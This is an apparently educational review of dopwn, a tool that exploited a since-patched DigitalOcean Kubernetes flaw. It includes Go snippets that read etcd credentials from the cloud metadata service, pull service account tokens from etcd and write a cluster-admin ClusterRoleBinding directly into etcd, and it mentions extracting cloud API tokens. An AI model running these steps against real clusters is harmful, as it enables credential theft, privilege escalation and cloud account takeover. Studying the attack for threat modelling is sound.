dopwn: Exploiting Kubernetes Clusters Through Cloud Metadata Services
Hook
In 2019, a developer could compromise an entire DigitalOcean Kubernetes cluster from inside a single pod in under 30 seconds—without exploiting a single Kubernetes vulnerability.
Context
Managed Kubernetes services promise to handle the operational complexity of running production clusters, but this convenience introduces a unique attack surface: the cloud provider's infrastructure becomes part of the threat model. When DigitalOcean launched their managed Kubernetes service (DOKS) in 2018, they faced the same challenge every cloud provider confronts—how to bootstrap cluster nodes securely while maintaining operational simplicity.
The solution many providers adopted was embedding sensitive credentials in cloud-init user-data, accessible via the metadata service at 169.254.169.254. This design decision created a privilege escalation path: any process with network access inside a pod could query the metadata service, extract etcd credentials, bypass the Kubernetes API entirely, and manipulate the cluster's backing data store directly. The dopwn tool, developed by security researchers at 4ARMED, weaponized this attack chain into a single command that turned pod-level access into cluster-admin privileges. While DigitalOcean has since patched this vulnerability, dopwn remains valuable as a case study in cloud-native security failures and the importance of defense in depth.
Technical Insight
The genius of dopwn lies not in complex exploitation techniques but in understanding the layered architecture of managed Kubernetes and identifying where trust boundaries break down. The attack follows four discrete stages, each exploiting a different architectural decision.
First, dopwn queries the DigitalOcean metadata service to retrieve cloud-init user-data, which historically contained the entire configuration for bootstrapping worker nodes. The tool makes a simple HTTP request that any pod can execute:
resp, err := http.Get("http://169.254.169.254/metadata/v1/user-data")
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
// Parse the YAML to extract etcd credentials
var userData UserData
yaml.Unmarshal(body, &userData)
caCert := userData.EtcdCA
clientCert := userData.EtcdClientCert
clientKey := userData.EtcdClientKey
etcdEndpoint := userData.EtcdEndpoint
This metadata service exposure is the critical first domino. Unlike AWS, which implemented IMDSv2 with session tokens to mitigate SSRF attacks, DigitalOcean's metadata service in 2019 responded to any HTTP request without authentication. The user-data contained PEM-encoded certificates that provided full read-write access to etcd—the distributed key-value store that serves as Kubernetes' entire state database.
Second, dopwn establishes a direct connection to etcd using the extracted credentials. This bypasses the Kubernetes API server entirely, which means all authentication, authorization, and admission control mechanisms are irrelevant. The tool uses the official etcd client library:
tlsInfo := transport.TLSInfo{
CertFile: "/tmp/etcd-client.crt",
KeyFile: "/tmp/etcd-client.key",
TrustedCAFile: "/tmp/etcd-ca.crt",
}
tlsConfig, _ := tlsInfo.ClientConfig()
cli, err := clientv3.New(clientv3.Config{
Endpoints: []string{etcdEndpoint},
DialTimeout: 5 * time.Second,
TLS: tlsConfig,
})
Third, the tool queries etcd for the default service account token in the kube-system namespace. Kubernetes stores all objects in etcd with keys following the pattern /registry/{resource-type}/{namespace}/{name}. Service account tokens are stored as secrets, so dopwn simply reads the appropriate key:
resp, err := cli.Get(context.Background(),
"/registry/secrets/kube-system/default-token-xxxxx",
clientv3.WithPrefix())
for _, ev := range resp.Kvs {
// Decode the protobuf-encoded secret
token := decodeK8sSecret(ev.Value)
}
The data stored in etcd is encoded using Kubernetes' protobuf serialization format, so dopwn includes basic decoding logic to extract the actual token value. This token alone doesn't grant cluster-admin, but it provides authenticated access to the API server from outside the cluster.
Finally, dopwn writes a malicious ClusterRoleBinding directly into etcd that grants cluster-admin privileges to the default service account. Rather than using kubectl create clusterrolebinding, which would be subject to RBAC authorization checks, dopwn serializes the object itself and writes it to etcd:
maliciousBinding := `apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: pwned-cluster-admin
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: default
namespace: kube-system`
// Encode and write directly to etcd
encoded := encodeToProtobuf(maliciousBinding)
cli.Put(context.Background(),
"/registry/clusterrolebindings/pwned-cluster-admin",
encoded)
This direct etcd manipulation is extraordinarily dangerous—the author explicitly warns it can corrupt cluster state—but it's also the attack's most powerful aspect. The Kubernetes API server reads this binding on its next sync cycle and begins enforcing it without any validation that the write was authorized. The default service account token now has cluster-admin, and the attacker can perform any operation on the cluster.
As a bonus, dopwn also extracts DigitalOcean API tokens from the metadata service, enabling full cloud account takeover beyond just the Kubernetes cluster. This demonstrates how a single vulnerability class cascades across the entire infrastructure stack.
Gotcha
The most obvious limitation is that dopwn exploits a historical vulnerability that DigitalOcean patched years ago. Modern DOKS clusters no longer expose etcd credentials via the metadata service, and the etcd datastore is network-isolated from worker nodes entirely. Running this tool against a current DOKS cluster will simply fail to retrieve credentials. This makes dopwn primarily useful as an educational artifact rather than a practical penetration testing tool.
Beyond obsolescence, directly manipulating etcd is inherently risky. The Kubernetes API server maintains internal consistency guarantees and performs validation that direct etcd writes bypass. If the serialization format is incorrect, if the object references non-existent resources, or if you write to the wrong key path, you can corrupt the cluster state in ways that require restoring from backup. The author's warning about 'fugly code' isn't false modesty—the tool prioritizes proof-of-concept speed over error handling or safety checks. Use it only in disposable test environments where cluster destruction is acceptable.
Verdict
Use if: You're a security researcher studying cloud metadata attack vectors, you're building threat models for managed Kubernetes services and need concrete examples of exploitation chains, you're auditing legacy infrastructure that might still run vulnerable DOKS versions, or you're teaching developers about the importance of metadata service restrictions and etcd security. The attack pattern dopwn demonstrates—metadata exposure leading to backing store manipulation—appears across cloud providers in various forms, making it valuable reference material even though this specific implementation is obsolete. Skip if: You need a general-purpose Kubernetes penetration testing tool (use peirates instead), you're testing modern DigitalOcean infrastructure where this vulnerability is patched, you're looking for production-quality code to learn Go idioms (the author acknowledges the code quality is poor), or you need something that works through the Kubernetes API rather than requiring direct etcd access. This is a historical security artifact, not an actively maintained offensive security tool.